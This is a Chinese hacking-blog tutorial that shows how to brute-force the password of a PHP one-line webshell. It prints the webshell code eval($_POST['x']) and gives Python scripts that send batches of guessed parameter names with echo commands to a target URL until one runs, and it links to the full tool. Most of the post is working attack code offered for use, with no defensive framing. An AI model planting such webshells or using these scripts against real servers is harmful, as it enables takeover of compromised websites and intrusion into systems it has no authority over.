Pyhacker 之 爆破一句话木马

00x1:

需要用到的模块如下:

import requests

00x2:

首先我们了解一下一句话木马,一般post传递参

一个简单的php一句话木马

<?php
eval($_POST['x'])
?>

先测试一下连接

OK,没问题,我们用浏览器打开传参看一下

由此可以看到密码为x,变量提交能匹配上即执行echo语句

这时我猜大家都有了思路,构造post请求即可

00x3:

这里我们可以利用网址特性提交多个参数

这样可以提高爆破效率

分析完成,下面我们开始进行写脚本

00x4:

简单爆破shell密码,shell为字典

#!/usr/bin/python
#-*- coding:utf-8 -*-
import requests

def req(url,s):
    global html
    data = {s:'echo xc666;'}
    req = requests.post(url,data=data)
    html = req.content

shell = ['z','y','x']
for s in shell:
    req('http://127.0.0.1/shell.php',s)
    if 'xc666' in html:
        print "[+]Find password",s
        break

00x5:

下面我们按我们刚才说的,一次多个参数,增加效率

首先整理一下字典

shell = []
f = open('shell.txt','r')
for x in f.readlines(): #去除换行等字符
    x = x.strip()
    shell.append(x)
print u"shell密码个数为:",len(shell)
for i in range(0,len(shell),2): #分割列表
    b=shell[i:i+2]
    print b

我们一次性提交两个参数测试一下

data = {s:'echo %s;'%s,ss:'echo %s;'%ss}

shell = []
def shelllist():
    f = open('shell.txt','r')
    for x in f.readlines(): #去除换行等字符
        x = x.strip()
        shell.append(x)
    print u"shell密码个数为:",len(shell)
def main():
    shelllist()
    for i in range(0,len(shell),2): #分割列表
        b=shell[i:i+2]
        req('http://127.0.0.1/shell.php',b[0],b[1])
        if b[0] in html:
            print "[+]Find password",b[0]
            break
        elif b[1] in html:
            print "[+]Find password", b[1]
            break
main()

测试一下,一次执行两个密码


00x6:

完整代码:https://github.com/hackxc/Pyhacker/

一次爆破5次密码,可自行调整

本博客所有文章如无特别注明均为原创。作者:小陈复制或转载请以超链接形式注明转自 小陈's Blog - 致力关注于黑客技术、渗透测试、网络信息安全
原文地址《Pyhacker 之 爆破一句话木马
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)